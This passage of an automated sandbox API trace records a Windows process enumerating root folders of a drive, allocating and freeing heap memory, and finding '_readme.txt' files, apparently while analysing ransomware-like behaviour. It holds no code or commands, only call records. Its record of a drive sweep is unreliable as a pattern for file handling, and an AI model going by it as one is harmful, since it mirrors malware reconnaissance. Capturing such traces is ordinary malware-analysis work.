ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x42c78b20, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0124.138] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34500e8 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501b0 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501b0 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34500e8 | out: hHeap=0x810000) returned 1 [0124.139] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddfa6a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddfa6a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xfc) returned 0x347b558 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f90 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34500e8 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501b0 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f58 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450200 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x342a1b8 | out: hHeap=0x810000) returned 1 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f58 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470ee8 | out: hHeap=0x810000) returned 1 [0124.139] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470fc8 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470ee8 | out: hHeap=0x810000) returned 1 [0124.139] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450200 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.139] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.139] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Recovery", cAlternateFileName="")) returned 1 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x16c) returned 0x33e06d8 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450278 [0124.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502a0 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502c8 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471000 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502f0 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f90 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34500e8 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501b0 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450250 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f58 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470fc8 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450200 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x347b558 | out: hHeap=0x810000) returned 1 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450200 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.140] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439720 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397f8 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439720 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.140] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54c74540, ftCreationTime.dwHighDateTime=0x1d643ed, ftLastAccessTime.dwLowDateTime=0x54c74540, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x54c74540, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="SystemID", cAlternateFileName="")) returned 1 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.140] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Users", cAlternateFileName="")) returned 1 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.140] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.140] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows", cAlternateFileName="")) returned 1 [0124.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x214) returned 0x3ae1ff0 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470fc8 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501b0 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34500e8 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450318 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450340 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f58 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f90 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450368 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439720 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470ee8 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450278 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34502a0 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34502c8 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471000 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34502f0 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450200 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397f8 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450250 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x33e06d8 | out: hHeap=0x810000) returned 1 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.141] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0x556922c0, ftCreationTime.dwHighDateTime=0x1d643ed, ftLastAccessTime.dwLowDateTime=0x556922c0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x556922c0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0124.141] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0x556922c0, ftCreationTime.dwHighDateTime=0x1d643ed, ftLastAccessTime.dwLowDateTime=0x556922c0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x556922c0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0124.141] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.141] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2800 | out: hHeap=0x810000) returned 1 [0124.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471000 [0124.142] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae2210 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.142] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.142] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471000 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.143] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, 